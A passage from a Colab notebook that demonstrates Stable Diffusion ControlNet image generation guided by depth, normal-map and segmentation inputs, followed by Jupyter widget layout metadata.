bird with colorful aesthetic feathers\", image_canny, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "-Yti9Dg8ofxd" + }, + "outputs": [], + "source": [] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "-o-9jxdtpvgi" + }, + "source": [ + "# Depth" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "rgwvAu2xpvgj" + }, + "outputs": [], + "source": [ + "from transformers import pipeline\n", + "from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler\n", + "from PIL import Image\n", + "import numpy as np\n", + "import torch\n", + "from diffusers.utils import load_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "IcxFcjHspvgj", + "outputId": "79bed3a2-27b2-411e-a748-22949d5cac62" + }, + "outputs": [], + "source": [ + "# load the depth estimator model\n", + "depth_estimator = pipeline('depth-estimation')\n", + "\n", + "# load the controlnet model for depth estimation\n", + "controlnet = ControlNetModel.from_pretrained(\n", + " \"lllyasviel/sd-controlnet-depth\", torch_dtype=torch.float16\n", + ")\n", + "\n", + "# load the stable diffusion pipeline with controlnet\n", + "pipe = StableDiffusionControlNetPipeline.from_pretrained(\n", + " \"runwayml/stable-diffusion-v1-5\", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16\n", + ")\n", + "pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "QfZNDXHgpvgj" + }, + "outputs": [], + "source": [ + "# enable efficient implementations using xformers for faster inference\n", + "pipe.enable_xformers_memory_efficient_attention()\n", + "pipe.enable_model_cpu_offload()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 475 + }, + "id": "t0_6mNOgpvgj", + "outputId": "8dd080e3-9fbb-4bc5-bd4c-375a4e1f18ee" + }, + "outputs": [], + "source": [ + "image_input = load_image(\"https://huggingface.co/lllyasviel/sd-controlnet-depth/resolve/main/images/stormtrooper.png/")\n", + "image_input" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 475 + }, + "id": "oTim6FQrpvgk", + "outputId": "4cc296a7-0822-4012-a07c-232f14bb039e" + }, + "outputs": [], + "source": [ + "# get depth estimates\n", + "image_depth = depth_estimator(image_input)['depth']\n", + "\n", + "# convert to PIL image format\n", + "image_depth = np.array(image_depth)\n", + "image_depth = image_depth[:, :, None]\n", + "image_depth = np.concatenate([image_depth, image_depth, image_depth], axis=2)\n", + "image_depth = Image.fromarray(image_depth)\n", + "\n", + "image_depth" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 505, + "referenced_widgets": [ + "173d24393b854ad0a03fd02d56c7d037", + "a33e6193984b46d4bb9b4187d726009e", + "230461cc201f4535a9f9bcf7a3ae7669", + "4900e42f3bfa4a6096b16d47d38687dc", + "2112261a320b4b9297aa3edc85fa2316", + "1c65960b291c4d92bced5bca619e8256", + "194f16cb7fbb42a78d9237e4e6654b58", + "b87077da3f824478ac88369582d77e8e", + "6f9f95e2d503403f83be05364b4199cd", + "c39f69cd4e8b4bca8e95bda3b06a74f1", + "f8dbc4c64a0d440e9660b0d7ef083b5c" + ] + }, + "id": "zK5HpMNdpvgq", + "outputId": "2b2e889d-8920-404f-e8de-e2753caebf05" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"Darth Vader giving lecture\", image_depth, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 505, + "referenced_widgets": [ + "083aa6ce3274445c830c4157dc9ea4be", + "be56ad8a63884a33a22bfb3b39da1cc0", + "83b4c17fa697445f86f7f034fe670934", + "c3dc31d7d2be42be88fe03fa33e5f20d", + "2c38cd148fe74a5897c3319be42b7d7e", + "c44f196498724b1b80b25bda832dc310", + "069b424c2d3846b8ba69a455dbda1f88", + "707ce79ce0da4f35ad6b8f636d2901f8", + "261aabd2415d43809b669b49f3899504", + "7427e45c55994a6fa304d6d58ffeb1fb", + "2df0162802aa488dbddb9a7376954865" + ] + }, + "id": "ulgn37vmrUS8", + "outputId": "aba588b6-5de1-44c5-8d96-79ac14a89f9a" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"A realistic, aesthetic portrait style photograph of Darth Vader giving lecture, 8k, unreal engine\", image_depth, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "-uc3OBwGryX9" + }, + "source": [ + "# Normal" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "vZ8NidcHryYF" + }, + "outputs": [], + "source": [ + "from PIL import Image\n", + "from transformers import pipeline\n", + "import numpy as np\n", + "import cv2\n", + "from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler\n", + "import torch\n", + "from diffusers.utils import load_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 214, + "referenced_widgets": [ + "f0ddc614bd9a40468c083db3a457e1c1", + "a27de7fc1bfa486f9ff8829d4d4198f6", + "47507d2cf4e04f2f927ee369c6d7b4d4", + "e11151541738459ba16b582a9edefd2c", + "33c23b5b6adf403dba45e9f8e64e37dc", + "a9a5528792504d12bf153d2b02fd3847", + "439ee7b8de924bf6ba5ee4ef22e0e659", + "b4e865be02fb4290849b676f4dd18ed0", + "87d4c1e6a2a047f887704f6b0a148d2e", + "b74532a8bd8e49f2a8286a1eed72a0d3", + "dd66e37aec9449de944edfa6dacdfc5f", + "57216de8dfcc4ab78bfb8c41fae856b4", + "c85b3e0dd20f414181d768cac5c9ab4e", + "53774d0251ea4e4a884fc265a5ce561b", + "30cdb95dd5d746b1adacaaf823b21b89", + "bfd0a68276654b4997b802bc6d47f684", + "dd81ef8c35384eadb1572400c775f789", + "de80e8cbbd25433c88267a1f997772e7", + "e116ebfa368d424ca64eea23a82ef959", + "2b92efb0492b4af6b50e2d5754212b5c", + "2fee0c2fcb3b4705ad4cc212d6138ec9", + "5f012cede7a0405fbb12550072bccbc2", + "a999af1084134026904611113b3feac6", + "814f29773b6b40d99d03320a3f5fe7d4", + "9f7e4357439944e392d0c9e93068c898", + "8e31c3cc06bd4e9b92c3b1e6d5a9d61f", + "9dc6d26cdb7945ffb31b2c381412a383", + "36de2037f4b841afb366f27a7eb08396", + "cb805d94485c4ff5a0aaec67e6cdb827", + "d923cb2715554512a7faf5b5d73a4ed8", + "4399ee6304e94797ac6f36318165d4cc", + "7c2b45b1cf2a485b93e52b2dee04a278", + "851c4973cb0c4fbe91536a09f006ad43", + "7d10f1e6258943dd86d9c75aa17553c8", + "193fa11998404439b90913f5f5b4619e", + "0383c8a7e3384eec9205dc8f37654ee4", + "4615b3c5ce674070840fbb7bcb54f262", + "b57f5b94be66435fab8e8aa9b877848c", + "8b7c3bcf27644ac09871f733662c4d8b", + "42cabc32ffc34ddd924fde45571ada38", + "58c63ae0605a4f1192c52e4306602fd7", + "55e0a986be424043846c0e863158a1bd", + "23a9e406e89041f8ab9a15eae4f9c61b", + "f18d3449a23c485a85e38f0ced810c99", + "1d4352761751419282c93eb85c0954c0", + "b84453116ba14690b8ae8a8e723f8510", + "6e14135b00e447c18a0a693d47f5c92b", + "9a540d6ed00a424da320fd7a12c31ac5", + "13f07d79c96146aaa1d7731526aaec29", + "b54312c4603b400b97884eba33ad1095", + "b93ed8d01dbd4e0a84ff01b2e15f68ec", + "8119e3c1840d4e0b975055cb0c255208", + "ad785ec6b7924f2ebcdf0957a16c656d", + "d44b6d406224497d9db5c903c6972323", + "d3010a25994f4f12b95922f2863f4f3b" + ] + }, + "id": "Rt4ecMkaryYG", + "outputId": "f8ab6e1a-2257-48bd-9fa6-c7fe19188404" + }, + "outputs": [], + "source": [ + "# load the Dense Prediction Transformer (DPT) model for getting normal maps\n", + "depth_estimator = pipeline(\"depth-estimation\", model =\"Intel/dpt-hybrid-midas\")\n", + "\n", + "# load the controlnet model for normal maps\n", + "controlnet = ControlNetModel.from_pretrained(\n", + " \"fusing/stable-diffusion-v1-5-controlnet-normal\", torch_dtype=torch.float16\n", + ")\n", + "\n", + "# load the stable diffusion pipeline with controlnet\n", + "pipe = StableDiffusionControlNetPipeline.from_pretrained(\n", + " \"runwayml/stable-diffusion-v1-5\", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16\n", + ")\n", + "pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "UoGdz3FkryYG" + }, + "outputs": [], + "source": [ + "# enable efficient implementations using xformers for faster inference\n", + "pipe.enable_xformers_memory_efficient_attention()\n", + "pipe.enable_model_cpu_offload()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 870 + }, + "id": "0WLxPD8fryYG", + "outputId": "d605305f-4c8e-40dd-e238-13131f64c961" + }, + "outputs": [], + "source": [ + "image_input = load_image(\"https://cdn.pixabay.com/photo/2023/06/07/13/02/butterfly-8047187_1280.jpg/")\n", + "image_input" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 401 + }, + "id": "Uqhw6NR4ryYG", + "outputId": "2f3c8930-541b-49d7-fb87-374972c078e5" + }, + "outputs": [], + "source": [ + "# do all the preprocessing to get the normal image\n", + "image = depth_estimator(image_input)['predicted_depth'][0]\n", + "\n", + "image = image.numpy()\n", + "\n", + "image_depth = image.copy()\n", + "image_depth -= np.min(image_depth)\n", + "image_depth /= np.max(image_depth)\n", + "\n", + "bg_threhold = 0.4\n", + "\n", + "x = cv2.Sobel(image, cv2.CV_32F, 1, 0, ksize=3)\n", + "x[image_depth < bg_threhold] = 0\n", + "\n", + "y = cv2.Sobel(image, cv2.CV_32F, 0, 1, ksize=3)\n", + "y[image_depth < bg_threhold] = 0\n", + "\n", + "z = np.ones_like(x) * np.pi * 2.0\n", + "\n", + "image = np.stack([x, y, z], axis=2)\n", + "image /= np.sum(image ** 2.0, axis=2, keepdims=True) ** 0.5\n", + "image = (image * 127.5 + 127.5).clip(0, 255).astype(np.uint8)\n", + "image_normal = Image.fromarray(image)\n", + "\n", + "image_normal" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 433, + "referenced_widgets": [ + "7aed2e247f5e488991be8b97ab6bae6a", + "f8b042b72ea1403284bc45b55cbfcdcf", + "9dcbc2386e3c4d6e820fd6baed91f0df", + "67768915a19a448c94620204f861d005", + "a218d578aded48ba8acca854622c14a9", + "5cbe59686c0d475a8e2274ffcb64d992", + "3bf3dd9f53354c758187674b5b1eac19", + "a1ed5abc44e94c1ea19fa959fc95b91a", + "7669fb4960904becb83cbdc4169a121b", + "7699034aeb584f12864aaa30a7f2e6b5", + "0762e7a5efb84a4b9bf60c5cf3235671" + ] + }, + "id": "_BLefbf1ryYG", + "outputId": "be063e2c-4e78-4c1e-cbe3-98fd0dcdad72" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"A colorful butterfly sitting on apples\", image_normal, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 433, + "referenced_widgets": [ + "ad63323795ae48679bb40de0056219d3", + "4cb413851dc3469a8ea04e40373b11de", + "21549aef7c6f4c64b8eb676c6dd105e2", + "7cd3b5a0ce274ae5b5954a3c7d9d3bb4", + "4a3a0d14e22f4a6e9dbb5fb35bc33e8d", + "8d2f2b219308442db07d23b057f8e7cf", + "7b9508943bee4f76b996ba561d4bbe9b", + "94cc8073f13f45b085e1f23d3d4bbbc9", + "cd502f2ef8814082979d147f08177ff6", + "f357992a28754d7689721ebda28f0b0f", + "2f8938d9a9254868869767a332bdf84f" + ] + }, + "id": "c-iOJPe1ryYH", + "outputId": "ee338887-1753-47f0-aed3-838749415d3a" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"A beautiful design\", image_normal, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "_zlU00SCzecq" + }, + "source": [ + "# Segmentation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "iLEetydkzec_" + }, + "outputs": [], + "source": [ + "from transformers import AutoImageProcessor, UperNetForSemanticSegmentation\n", + "from PIL import Image\n", + "import numpy as np\n", + "import torch\n", + "from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler\n", + "from diffusers.utils import load_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 214, + "referenced_widgets": [ + "cbbf80dd8dc9471197c49732ae4d08ee", + "0a8a88ac007a41e4b0096fb114fe8a47", + "d4c98d8a36eb4f769e23aa3f36535a0f", + "20f315f7aae840d19ee8a068c68ff63c", + "c420c12b2a76457c9ec7bb9db8eac9b3", + "e38139b6898e4897b67aac89ee982c7a", + "5e144bb789054a88a43db4329bb2df05", + "15de6a583c5e4525a559749577fd4331", + "4af5ce87c2a243238375d7edf93d08b2", + "56cc25e58ea3445f9135817143224d2c", + "6c6f19d716d2410b813e32f3b051619a", + "7f1b3b31059e4abbbe62bd88da98627d", + "0ee14dea902c4efe81c616f34dbc7562", + "e43b78d4e4844565ad39e979861285a8", + "9ba3483798e8439aab7d5560c1a5bac1", + "993b867eff394cfe843eb18ee194b8d6", + "b1659a9d5e294f9bbc1b20e892e16326", + "308c9dc88e034f4bbcb4ee24628694ba", + "0e38cf52fb3d40d5a87ec975499ef648", + "a37c136cb6c34c1ea5a66bd78c5750ae", + "60ebb0e8c1174c839a26182b38d4ae9b", + "f3be39d3186448afb9d851b9732df52b", + "7d9df7ed952144dfacc3d2908497ce94", + "7010861902ab409e9a4f65efad33683c", + "978ecf658d464bc999bc8a5c540e3ad0", + "198e8a1603fc40218d805d46da1cc603", + "ee7d2281e6964da8a3e610343a7de76d", + "c30088b9866c429fa513397b03d2e3c8", + "f48a988402a947a098ed14bfd0dc9a53", + "f0a064bb91524f01972e941a3bd7354d", + "7efd39ed94f94ecd9292069da0697a5f", + "54746d0ef2e7453faddcc3b6066def51", + "ff535db7c20f4719820b0b483a3a41ff", + "3282a8068816447285333083b4c8fe96", + "2c260ce7a89840e3857942d9294f9321", + "eba07e4598814b6cb22ba58d16587cf3", + "cfe9f9f05cb8493f804cd521a3e3c1c1", + "b3418378805c4029aa6e6b939ae3c84b", + "2cd604429546460d8e79a7ac4980d4cd", + "1cf1b7e84b744edf907f94aa3d1983bc", + "ab44913ac7c44a0f89a963fddf9dba39", + "c9678e8106544428a9f155e2da9f2693", + "15ce5867e9ba470b94f0408cfa8236ad", + "ee848051813f401c958c169f8b77a323", + "71ee3795a28a4776bdb13f68f11ffaaa", + "af113f9b9b1749f0a856b3f371f03a2d", + "83cb84140f504cdaa6d5ed308baaa9bf", + "f81e6ba8c0ee4d19afc1691be3650a94", + "8bc53de7028e4a05bc683a6f47548d62", + "72fc016402374ad996a292470fa75906", + "4ec20db88a97441982a914517888a8b4", + "75837fa1f8ed4a7b8734f0c49e3bb6d0", + "527478832a8e451ea056c50ee2b241ab", + "e1877e0c82a1464597250ef0572d2679", + "3005ddef183645cbb3039da2a621ebf4" + ] + }, + "id": "BRZqE7YLzedA", + "outputId": "b9f4d2e9-2667-4992-f3d5-f574108640ec" + }, + "outputs": [], + "source": [ + "# load the image processor and the model for doing segmentation\n", + "image_processor = AutoImageProcessor.from_pretrained(\"openmmlab/upernet-convnext-small\")\n", + "image_segmentor = UperNetForSemanticSegmentation.from_pretrained(\"openmmlab/upernet-convnext-small\")\n", + "\n", + "# load the controlnet model for semantic segmentation\n", + "controlnet = ControlNetModel.from_pretrained(\n", + " \"lllyasviel/sd-controlnet-seg\", torch_dtype=torch.float16\n", + ")\n", + "\n", + "# load the stable diffusion pipeline with controlnet\n", + "pipe = StableDiffusionControlNetPipeline.from_pretrained(\n", + " \"runwayml/stable-diffusion-v1-5\", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16\n", + ")\n", + "pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "ZzEaHeM2zedA" + }, + "outputs": [], + "source": [ + "# enable efficient implementations using xformers for faster inference\n", + "pipe.enable_xformers_memory_efficient_attention()\n", + "pipe.enable_model_cpu_offload()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "3kZI0eD2zkfm" + }, + "outputs": [], + "source": [ + "# define color palette that is used by the semantic segmentation models\n", + "\n", + "palette = np.asarray([\n", + " [0, 0, 0],\n", + " [120, 120, 120],\n", + " [180, 120, 120],\n", + " [6, 230, 230],\n", + " [80, 50, 50],\n", + " [4, 200, 3],\n", + " [120, 120, 80],\n", + " [140, 140, 140],\n", + " [204, 5, 255],\n", + " [230, 230, 230],\n", + " [4, 250, 7],\n", + " [224, 5, 255],\n", + " [235, 255, 7],\n", + " [150, 5, 61],\n", + " [120, 120, 70],\n", + " [8, 255, 51],\n", + " [255, 6, 82],\n", + " [143, 255, 140],\n", + " [204, 255, 4],\n", + " [255, 51, 7],\n", + " [204, 70, 3],\n", + " [0, 102, 200],\n", + " [61, 230, 250],\n", + " [255, 6, 51],\n", + " [11, 102, 255],\n", + " [255, 7, 71],\n", + " [255, 9, 224],\n", + " [9, 7, 230],\n", + " [220, 220, 220],\n", + " [255, 9, 92],\n", + " [112, 9, 255],\n", + " [8, 255, 214],\n", + " [7, 255, 224],\n", + " [255, 184, 6],\n", + " [10, 255, 71],\n", + " [255, 41, 10],\n", + " [7, 255, 255],\n", + " [224, 255, 8],\n", + " [102, 8, 255],\n", + " [255, 61, 6],\n", + " [255, 194, 7],\n", + " [255, 122, 8],\n", + " [0, 255, 20],\n", + " [255, 8, 41],\n", + " [255, 5, 153],\n", + " [6, 51, 255],\n", + " [235, 12, 255],\n", + " [160, 150, 20],\n", + " [0, 163, 255],\n", + " [140, 140, 140],\n", + " [250, 10, 15],\n", + " [20, 255, 0],\n", + " [31, 255, 0],\n", + " [255, 31, 0],\n", + " [255, 224, 0],\n", + " [153, 255, 0],\n", + " [0, 0, 255],\n", + " [255, 71, 0],\n", + " [0, 235, 255],\n", + " [0, 173, 255],\n", + " [31, 0, 255],\n", + " [11, 200, 200],\n", + " [255, 82, 0],\n", + " [0, 255, 245],\n", + " [0, 61, 255],\n", + " [0, 255, 112],\n", + " [0, 255, 133],\n", + " [255, 0, 0],\n", + " [255, 163, 0],\n", + " [255, 102, 0],\n", + " [194, 255, 0],\n", + " [0, 143, 255],\n", + " [51, 255, 0],\n", + " [0, 82, 255],\n", + " [0, 255, 41],\n", + " [0, 255, 173],\n", + " [10, 0, 255],\n", + " [173, 255, 0],\n", + " [0, 255, 153],\n", + " [255, 92, 0],\n", + " [255, 0, 255],\n", + " [255, 0, 245],\n", + " [255, 0, 102],\n", + " [255, 173, 0],\n", + " [255, 0, 20],\n", + " [255, 184, 184],\n", + " [0, 31, 255],\n", + " [0, 255, 61],\n", + " [0, 71, 255],\n", + " [255, 0, 204],\n", + " [0, 255, 194],\n", + " [0, 255, 82],\n", + " [0, 10, 255],\n", + " [0, 112, 255],\n", + " [51, 0, 255],\n", + " [0, 194, 255],\n", + " [0, 122, 255],\n", + " [0, 255, 163],\n", + " [255, 153, 0],\n", + " [0, 255, 10],\n", + " [255, 112, 0],\n", + " [143, 255, 0],\n", + " [82, 0, 255],\n", + " [163, 255, 0],\n", + " [255, 235, 0],\n", + " [8, 184, 170],\n", + " [133, 0, 255],\n", + " [0, 255, 92],\n", + " [184, 0, 255],\n", + " [255, 0, 31],\n", + " [0, 184, 255],\n", + " [0, 214, 255],\n", + " [255, 0, 112],\n", + " [92, 255, 0],\n", + " [0, 224, 255],\n", + " [112, 224, 255],\n", + " [70, 184, 160],\n", + " [163, 0, 255],\n", + " [153, 0, 255],\n", + " [71, 255, 0],\n", + " [255, 0, 163],\n", + " [255, 204, 0],\n", + " [255, 0, 143],\n", + " [0, 255, 235],\n", + " [133, 255, 0],\n", + " [255, 0, 235],\n", + " [245, 0, 255],\n", + " [255, 0, 122],\n", + " [255, 245, 0],\n", + " [10, 190, 212],\n", + " [214, 255, 0],\n", + " [0, 204, 255],\n", + " [20, 0, 255],\n", + " [255, 255, 0],\n", + " [0, 153, 255],\n", + " [0, 41, 255],\n", + " [0, 255, 204],\n", + " [41, 0, 255],\n", + " [41, 255, 0],\n", + " [173, 0, 255],\n", + " [0, 245, 255],\n", + " [71, 0, 255],\n", + " [122, 0, 255],\n", + " [0, 255, 184],\n", + " [0, 92, 255],\n", + " [184, 255, 0],\n", + " [0, 133, 255],\n", + " [255, 214, 0],\n", + " [25, 194, 194],\n", + " [102, 255, 0],\n", + " [92, 0, 255],\n", + "])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 870 + }, + "id": "GjsCwREqzedB", + "outputId": "6ac8fcaf-a89b-4bef-bd9b-31fd753568d7" + }, + "outputs": [], + "source": [ + "image_input = load_image(\"https://cdn.pixabay.com/photo/2023/02/24/07/14/crowd-7810353_1280.jpg/")\n", + "image_input" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 870 + }, + "id": "qK5gkfCIzedB", + "outputId": "71e92874-04d1-459a-8cc6-89bc31796b2f" + }, + "outputs": [], + "source": [ + "# get the pixel values\n", + "pixel_values = image_processor(image_input, return_tensors=\"pt\").pixel_values\n", + "\n", + "# do semantic segmentation\n", + "with torch.no_grad():\n", + " outputs = image_segmentor(pixel_values)\n", + "\n", + "# post process the semantic segmentation\n", + "seg = image_processor.post_process_semantic_segmentation(outputs, target_sizes=[image_input.size[::-1]])[0]\n", + "\n", + "# add colors to the different identified classes\n", + "color_seg = np.zeros((seg.shape[0], seg.shape[1], 3), dtype=np.uint8) # height, width, 3\n", + "for label, color in enumerate(palette):\n", + " color_seg[seg == label, :] = color\n", + "\n", + "# convert into PIL image format\n", + "color_seg = color_seg.astype(np.uint8)\n", + "image_seg = Image.fromarray(color_seg)\n", + "\n", + "image_seg" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 897, + "referenced_widgets": [ + "09441b43551f4e5f9ff77512f59d2f9e", + "955af4f359254125801ec776793397e7", + "27f8dc0ef76448be90b004529fa562cf", + "a3f598a48fa448dbb44a40c8c7af85e6", + "6c353682d9d64022a11f31357816f14d", + "8c0d69533b674629b69a64345fc4d67e", + "f2241131e8d54c1f9e8976b94b46bc67", + "0120420c938f4e588ac496f37bcc42eb", + "89a159fc68ef4972a0368c72306cd8c4", + "c8ce8fd6e04e416381d892fbf75a0b75", + "8d62ab081ff94e7abe3cc911d3376bbd" + ] + }, + "id": "z0eWMTU0zedB", + "outputId": "9502f927-18cb-4baa-dc24-9c18ec4ce150" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"A crowd of people staring at a glorious painting\", image_seg, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 897, + "referenced_widgets": [ + "312f1ce28d144f8e828d5d33c0783a58", + "36aae82533a5470abfa287df328448fc", + "7afd5032c0964fc5823189e2fc8599ed", + "944390d866cf430fbd562fca7781a9d9", + "66f7c6f267864c929727fd96a83e6d06", + "2e3313ac79794a18a38a6b98c0f4f28a", + "77ad5edb54bb4e30bdd82186e80367c8", + "c9311122d93c495faa2a8e0f4b8f7662", + "58657e2570434d73be122eafb42f490a", + "ef977ff25ba842c9a0475befc7b47b89", + "c8da6be1960c4f89a18d49205cbaa0df" + ] + }, + "id": "LbWbrzpszedB", + "outputId": "4bdd8997-e047-4fbb-ef58-6162ad40a4be" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"Aliens looking at earth from inside their spaceship from a window, not creepy, not scary, not gross, octane render, smooth\", image_seg, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "kXmBKD8G7WRU" + }, + "outputs": [], + "source": [] + } + ], + "metadata": { + "accelerator": "GPU", + "colab": { + "collapsed_sections": [ + "h6XPbq0FrPQG", + "HEiobo68Kzso", + "fwnnyHq3oi7O", + "-o-9jxdtpvgi", + "-uc3OBwGryX9" + ], + "gpuType": "T4", + "provenance": [] + }, + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python" + }, + "widgets": { + "application/vnd.jupyter.widget-state+json": { + "0120420c938f4e588ac496f37bcc42eb": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "014e701444c54eee97d0b36ea38344ab": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "01fc82bb9bb84c628890b9a2349a6e6e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "02648abd8847434496722b0c5bb69858": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "02f92b3266a54cc1885140f1a378d784": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + 